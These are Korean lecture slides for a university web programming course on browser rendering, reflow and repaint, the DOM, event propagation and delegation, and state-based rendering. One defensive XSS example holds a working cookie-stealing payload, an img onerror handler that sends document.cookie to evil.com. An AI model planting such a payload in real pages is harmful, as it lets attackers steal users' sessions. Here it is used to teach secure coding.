

웹 기술 이론 6장

브라우저와 DOM · 이벤트 모델

렌더링 과정, DOM 트리, 이벤트 전파, 상태와 화면의 관계

한신대학교 AI·SW계열 · 웹프로그래밍
학습사이트 hs-web.dreamitbiz.com

학습 목표

- ① 브라우저가 화면을 그리는 과정을 단계별로 설명할 수 있다.
- ② DOM이 HTML 파일과 어떻게 다른지 설명할 수 있다.
- ③ 이벤트 전파(캡처·타깃·버블) 3단계를 설명하고 위임을 활용할 수 있다.
- ④ 리플로우와 리페인트를 구분하고 성능에 미치는 영향을 안다.
- ⑤ 상태 중심 렌더링 구조가 왜 좋은지 설명할 수 있다.

핵심 키워드

렌더링

DOM

CSSOM

리플로우

리페인트

이벤트 전파

버블링

이벤트 위임

XSS

상태와 렌더링

학습사이트의 본문에서 이 낱말들을 찾아 읽으면 이 시간의 뼈대가 잡힙니다

이론 6장 · 1

브라우저가 화면을 그리는 과정

브라우저가 화면을 그리는 과정

단계	무슨 일	만들어지는 것
파싱	HTML을 읽어 나무로	DOM
파싱	CSS를 읽어 규칙 목록으로	CSSOM
렌더 트리	DOM + CSSOM을 합쳐 "실제로 보이는 것"만	렌더 트리
레이아웃(리플로우)	각 요소의 위치와 크기를 계산	기하 정보
페인트	색·테두리·그림자를 픽셀로	비트맵 레이어
합성	레이어들을 겹쳐 최종 화면으로	화면

브라우저가 화면을 그리는 과정

- 1 `display: none` 인 요소는 렌더 트리에 아예 들어가지 않습니다.
- 2 그래서 자리도 차지하지 않습니다.
- 3 `visibility: hidden` 은 렌더 트리에는 있고 페인트만 안 되므로 자리는 그대로 남습니다 — 이 차이가 여기서 나옵니다.

1.1 리플로우와 리페인트

	리플로우(레이아웃)	리페인트
언제	크기·위치가 바뀔 때	색·그림자만 바뀔 때
비용	비쌈 — 주변 요소까지 다시 계산	상대적으로 싼
유발 속성	width · height · margin · padding · top · f...	color · background · box-shadow · visibility
거의 무료	—	transform · opacity (합성 단계에서만 처리)

1.1 리플로우와 리페인트

- 1 애니메이션에 `transform` 과 `opacity` 를 쓰라는 조언이 여기서 나옵니다.
- 2 `margin`이나 `top`을 애니메이션하면 매 프레임마다 레이아웃을 다시 계산해야 해서 끊깁니다.

리플로우를 줄이는 습관

```
1 // ❌ 반복문 안에서 DOM을 계속 건드릴 → 매번 리플로우
2 for (let i = 0; i < 100; i++) {
3   list.append(makeItem(i));
4 }
5
6 // ✅ 메모리에서 다 만든 뒤 한 번에 붙임
7 const frag = document.createDocumentFragment();
8 for (let i = 0; i < 100; i++) frag.append(makeItem(i));
9 list.append(frag);
10
11 // ❌ 쓰기와 읽기를 번갈아 하면 강제 동기 리플로우가 일어남
12 el.style.width = '100px';
13 console.log(el.offsetHeight); // 여기서 브라우저가 즉시 레이아웃을 계산해야 함
14 el.style.height = '50px';
15 console.log(el.offsetTop);    // 또 계산
16
17 // ✅ 읽기를 모으고 쓰기를 모은다
```

이론 6장 · 2

DOM — 문서의 객체 모델

반드시 구분해야 할 세 가지

● 정리

1 HTML 파일

서버에 있는 글자 뭉치. 바뀌지 않습니다.

2 DOM

브라우저 메모리 안의 객체 나무. JavaScript가 바꾸는 것은 이쪽입니다.

3 화면

DOM과 CSSOM으로 계산해 그린 결과.

4 그래서 JS로 화면을 바꿔도 새로고침하면 원래대로 돌아옵니다. 원본 파일은 그대로니까요.

나무의 가지는 요소만이 아닙니다

```
1 <p>안녕 <strong>반가워</strong></p>
2
3 /* p (요소 노드)
4   |—— "안녕 "      (텍스트 노드) ← 공백도 노드입니다
5   |—— strong (요소 노드)
6       |—— "반가워"  (텍스트 노드) */
7
8 p.childNodes // 텍스트 노드까지 전부 (공백 포함 — 자주 헷갈립니다)
9 p.children   // 요소 노드만 (보통 이쪽을 씁니다)
```

2.2 요소를 찾는 방법

방법	돌려주는 것	살아 있는가
querySelector(sel)	첫 요소 하나 (없으면 null)	—
querySelectorAll(sel)	정적 NodeList	아니오 (그 순간의 스냅샷)
getElementById(id)	요소 하나	—
getElementsByClassName()	살아 있는 HTMLCollection	예 (DOM이 바뀌면 같이 바뀜)

2.2 요소를 찾는 방법

- 1 `querySelector` 하나만 알면 됩니다.
- 2 CSS에서 쓰던 선택자를 그대로 쓸 수 있어 외울 것이 없습니다.
- 3 다만 `querySelectorAll`의 결과는 배열이 아니라 `NodeList`이므로 `map`이 없습니다 — `[...list]`로 바꿔 쓰세요.

2.3 textContent와 innerHTML

	textContent	innerHTML
해석	글자 그대로	HTML로 해석
속도	빠름	느림 (파싱 필요)
안전성	안전	위험 (XSS)
언제	기본 선택 · 사용자 입력	내가 직접 쓴 마크업만

XSS가 실제로 일어나는 방식

```
1 // 사용자가 게시글에 이렇게 씁니다
2 const userInput = '<img src=x onerror="location=\'http://evil.com/?c=\'+document.cookie">';
3
4 el.innerHTML = userInput; // ❌ onerror가 실제로 실행되어 쿠키가 넘어갑니다
5 el.textContent = userInput; // ✅ 글자만 보입니다
6
7 /* <script> 태그는 innerHTML로 넣으면 실행되지 않지만,
8    onerror · onload 같은 이벤트 속성은 실행됩니다.
9    "script만 막으면 되겠지"는 통하지 않습니다. */
```

이론 6장 · 3

이벤트 모델

이벤트는 위에서 내려갔다가 다시 올라옵니다

```
1 document
2   └── body
3       └── ul                ② 타깃까지 내려가는 길 = 캡처링
4           └── li ← 클릭한 곳 (타깃)
5           ↑                ③ 다시 올라가는 길 = 버블링
6
7 // 기본값은 버블링 단계에서 실행
8 el.addEventListener('click', fn);
9
10 // 캡처링 단계에서 실행하려면
11 el.addEventListener('click', fn, true);
12 el.addEventListener('click', fn, { capture: true });
```

3.1 전파 3단계

- 1 버블링은 자식에서 일어난 이벤트가 부모로 거슬러 올라가는 성질입니다.
- 2 이 성질 덕분에 이벤트 위임이 가능해집니다.

부모 하나에만 걸어 둡니다

```
1 // ❌ 이 코드가 실행된 뒤 추가된 li에는 이벤트가 안 걸립니다
2 document.querySelectorAll('li').forEach(li => {
3   li.addEventListener('click', handler);
4 });
5
6 // ✅ 부모에 걸고, 실제 대상을 안에서 판단
7 document.querySelector('ul').addEventListener('click', (e) => {
8   const li = e.target.closest('li');
9   if (!li) return;           // li 밖을 눌렀으면 무시
10  console.log(li.dataset.id);
11 });
```

이벤트 위임의 이점

● 정리

- 1 나중에 추가되는 요소에도 자동으로 적용**
됩니다 — 목록이 계속 바뀌는 화면에서 결정적입니다.
- 2 리스너 개수가 줄어**
메모리를 아낍니다. 1000개 항목에 1000개 리스너 대신 1개.
- 3 요소를 지울 때 리스너를 따로 제거할 필요가 없습니다.**

자주 쓰는 것들

```
1  el.addEventListener('click', (e) => {
2    e.target          // 실제로 이벤트가 일어난 요소 (자식일 수 있음)
3    e.currentTarget   // 리스너가 걸린 요소 (항상 el)
4    e.type            // 'click'
5
6    e.preventDefault(); // 기본 동작 막기 (폼 제출 · 링크 이동)
7    e.stopPropagation(); // 부모로의 전파 막기
8
9    e.key              // keydown에서 누른 키 ('Enter', 'Escape', 'a')
10   e.clientX/Y        // 마우스 위치
11 });
```

3.3 이벤트 객체

- 1 `e.target` 과 `e.currentTarget` 을 헛갈리면 이벤트 위임이 엉뚱하게 동작합니다.
- 2 버튼 안의 아이콘을 클릭하면 `e.target` 은 아이콘이고 `e.currentTarget` 이 버튼입니다.
- 3 그래서 `closest()` 로 원하는 조상을 찾는 것입니다.

scroll·resize·input은 초당 수십~수백 번 발생합니다 (1/2)

```
1 // 디바운스 — 멈춘 뒤 한 번만 (검색어 입력)
2 function debounce(fn, ms = 300) {
3   let t;
4   return (...args) => {
5     clearTimeout(t);
6     t = setTimeout(() => fn(...args), ms);
7   };
8 }
9 input.addEventListener('input', debounce(search, 300));
10
11 // 스크롤 — 일정 간격으로만 (스크롤 위치 추적)
```

scroll·resize·input은 초당 수십~수백 번 발생합니다 (2/2)

```
19 function throttle(fn, ms = 100) {
20   let last = 0;
21   return (...args) => {
22     const now = Date.now();
23     if (now - last < ms) return;
24     last = now;
25     fn(...args);
26   };
27 }
28 window.addEventListener('scroll', throttle(onScroll, 100), { passive: true });
```

3.4 성능이 걸리는 이벤트

- 1 { passive: true } 는 "이 리스너는 preventDefault() 를 부르지 않겠다"는 약속입니다.
- 2 브라우저가 스크롤을 기다리지 않고 바로 처리할 수 있어 모바일 스크롤이 눈에 띄게 부드러워집니다.

이론 6장 · 4

상태와 화면의 관계

DOM을 직접 조금씩 고치는 방식(명령형)은 기능이 늘수록 관리가 어려워집니다.

명령형 — 손댈 곳이 계속 늘어난다

```
1 function addTodo(text) {
2   const li = document.createElement('li');
3   li.textContent = text;
4   ul.append(li);
5   counter.textContent = ul.children.length;    // 개수 표시도 따로
6   if (ul.children.length > 0) empty.hidden = true; // 빈 상태 안내도 따로
7   saveBtn.disabled = false;                  // 버튼 상태도 따로
8 }
9 /* 기능이 하나 늘 때마다 이 함수도, 삭제 함수도, 수정 함수도 다 고쳐야 합니다. */
```

화면을 바꾸는 코드가 여기저기 흩어지기 때문입니다.

선언형 — 상태를 바꾸고 다시 그린다 (1/2)

```
1 let state = { todos: [], filter: 'all' };
2
3 function setState(patch) {
4   state = { ...state, ...patch };
5   render();           // 상태가 바뀌면 무조건 다시 그린다
6 }
7
8 function render() {   // 그리는 곳은 여기 하나뿐
9   const shown = state.todos.filter(matchFilter);
10  ul.textContent = '';
```

선언형 — 상태를 바꾸고 다시 그린다 (2/2)

```
19 shown.forEach(t => ul.append(makeItem(t)));
20 counter.textContent = shown.length;
21 empty.hidden = shown.length > 0;
22 saveBtn.disabled = state.todos.length === 0;
23 }
24
25 function addTodo(text) {
26   setState({ todos: [...state.todos, text] }); // 이게 전부
27 }
```

이 구조가 주는 것

● 정리

- 1 화면을 고치는 곳이 하나**
"어디서 바뀐 거지?"를 찾을 일이 없습니다.
- 2 상태만 보면 화면을 알 수 있다**
디버깅이 훨씬 쉬워집니다.
- 3 기능 추가가 단순해진다**
상태를 바꾸고 `render()`를 부르면 끝입니다.
- 4 React가 자동으로 해 주는 일이 바로 이것입니다.**
손으로 해 보면 React가 무슨 수고를 덜어 주는지 정확히 알게 됩니다.

상태와 화면의 관계

- 1 "매번 전부 다시 그리면 느리지 않을까?"는 수십~수백 개 수준에서는 걱정할 일이 아닙니다.
- 2 먼저 단순하게 만들고, 실제로 느려지면 그때 최적화하는 것이 순서입니다.
- 3 미리 최적화하다 복잡해진 코드가 훨씬 큰 문제가 됩니다.

웹 기술 이론 6장 마무리

6장 마무리

브라우저와 DOM · 이벤트 모델 — 본문과 도해는 학습사이트에서 다시 읽습니다

✓ 학습사이트 장 페이지 끝의 「이해했어요 · 어려워요」 표시

✓ 함께 볼 주차: 11주차 · 14주차

✓ 막히면 「질문있어요」 — 질문은 반 전체가 같은 자리에서 봅니다